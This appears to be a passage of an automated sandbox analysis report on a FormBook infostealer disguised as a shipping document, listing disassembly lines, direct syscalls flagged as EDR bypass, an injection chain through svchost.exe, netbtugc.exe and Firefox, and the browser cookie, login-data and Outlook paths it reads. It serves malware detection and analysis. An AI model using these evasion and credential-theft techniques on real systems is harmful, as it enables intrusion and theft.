Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304A80 mov eax, dword ptr fs:[00000030h]	1_2_03304A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268A90 mov edx, dword ptr fs:[00000030h]	1_2_03268A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326AAEE mov eax, dword ptr fs:[00000030h]	1_2_0326AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326AAEE mov eax, dword ptr fs:[00000030h]	1_2_0326AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03286ACC mov eax, dword ptr fs:[00000030h]	1_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03286ACC mov eax, dword ptr fs:[00000030h]	1_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03286ACC mov eax, dword ptr fs:[00000030h]	1_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230AD0 mov eax, dword ptr fs:[00000030h]	1_2_03230AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03264AD0 mov eax, dword ptr fs:[00000030h]	1_2_03264AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03264AD0 mov eax, dword ptr fs:[00000030h]	1_2_03264AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B892A mov eax, dword ptr fs:[00000030h]	1_2_032B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C892B mov eax, dword ptr fs:[00000030h]	1_2_032C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE908 mov eax, dword ptr fs:[00000030h]	1_2_032AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE908 mov eax, dword ptr fs:[00000030h]	1_2_032AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BC912 mov eax, dword ptr fs:[00000030h]	1_2_032BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228918 mov eax, dword ptr fs:[00000030h]	1_2_03228918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228918 mov eax, dword ptr fs:[00000030h]	1_2_03228918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03256962 mov eax, dword ptr fs:[00000030h]	1_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03256962 mov eax, dword ptr fs:[00000030h]	1_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03256962 mov eax, dword ptr fs:[00000030h]	1_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327096E mov eax, dword ptr fs:[00000030h]	1_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327096E mov edx, dword ptr fs:[00000030h]	1_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327096E mov eax, dword ptr fs:[00000030h]	1_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D4978 mov eax, dword ptr fs:[00000030h]	1_2_032D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D4978 mov eax, dword ptr fs:[00000030h]	1_2_032D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BC97C mov eax, dword ptr fs:[00000030h]	1_2_032BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B0946 mov eax, dword ptr fs:[00000030h]	1_2_032B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304940 mov eax, dword ptr fs:[00000030h]	1_2_03304940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032309AD mov eax, dword ptr fs:[00000030h]	1_2_032309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032309AD mov eax, dword ptr fs:[00000030h]	1_2_032309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B89B3 mov esi, dword ptr fs:[00000030h]	1_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B89B3 mov eax, dword ptr fs:[00000030h]	1_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B89B3 mov eax, dword ptr fs:[00000030h]	1_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE9E0 mov eax, dword ptr fs:[00000030h]	1_2_032BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032629F9 mov eax, dword ptr fs:[00000030h]	1_2_032629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032629F9 mov eax, dword ptr fs:[00000030h]	1_2_032629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C69C0 mov eax, dword ptr fs:[00000030h]	1_2_032C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032649D0 mov eax, dword ptr fs:[00000030h]	1_2_032649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FA9D3 mov eax, dword ptr fs:[00000030h]	1_2_032FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov ecx, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A830 mov eax, dword ptr fs:[00000030h]	1_2_0326A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D483A mov eax, dword ptr fs:[00000030h]	1_2_032D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D483A mov eax, dword ptr fs:[00000030h]	1_2_032D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BC810 mov eax, dword ptr fs:[00000030h]	1_2_032BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE872 mov eax, dword ptr fs:[00000030h]	1_2_032BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE872 mov eax, dword ptr fs:[00000030h]	1_2_032BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6870 mov eax, dword ptr fs:[00000030h]	1_2_032C6870

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E581D4 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00E581D4

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2A2D5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00E2A2D5
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2A2A4 SetUnhandledExceptionFilter,		0_2_00E2A2A4

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\netbtugc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\netbtugc.exe

Thread register set: target process: 7940

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\netbtugc.exe

Thread APC queued: target process: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 27F1008

Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E58A73 LogonUserW,

0_2_00E58A73

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E03B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00E03B4C

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E04A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00E04A35

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E64CFA mouse_event,

0_2_00E64CFA

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe"	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	Process created: C:\Windows\SysWOW64\netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

0_2_00E581D4

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E64A08 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00E64A08

Source: SHIPPING DOC MBL+HBL.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: SHIPPING DOC MBL+HBL.exe, PrWIbKXhdqUKk.exe, 00000005.00000000.2047583367.0000000001630000.00000002.00000001.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000005.00000002.3566730192.0000000001630000.00000002.00000001.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3567038470.0000000000EA0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: PrWIbKXhdqUKk.exe, 00000005.00000000.2047583367.0000000001630000.00000002.00000001.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000005.00000002.3566730192.0000000001630000.00000002.00000001.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3567038470.0000000000EA0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: PrWIbKXhdqUKk.exe, 00000005.00000000.2047583367.0000000001630000.00000002.00000001.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000005.00000002.3566730192.0000000001630000.00000002.00000001.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3567038470.0000000000EA0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: PrWIbKXhdqUKk.exe, 00000005.00000000.2047583367.0000000001630000.00000002.00000001.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000005.00000002.3566730192.0000000001630000.00000002.00000001.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3567038470.0000000000EA0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E287AB cpuid

0_2_00E287AB

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E35007 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00E35007

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E4215F GetUserNameW,

0_2_00E4215F

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E340BA __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00E340BA

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E04AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00E04AFE

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\netbtugc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: SHIPPING DOC MBL+HBL.exe	Binary or memory string: WIN_81
Source: SHIPPING DOC MBL+HBL.exe	Binary or memory string: WIN_XP
Source: SHIPPING DOC MBL+HBL.exe	Binary or memory string: WIN_XPe
Source: SHIPPING DOC MBL+HBL.exe	Binary or memory string: WIN_VISTA
Source: SHIPPING DOC MBL+HBL.exe	Binary or memory string: WIN_7
Source: SHIPPING DOC MBL+HBL.exe	Binary or memory string: WIN_8
Source: SHIPPING DOC MBL+HBL.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
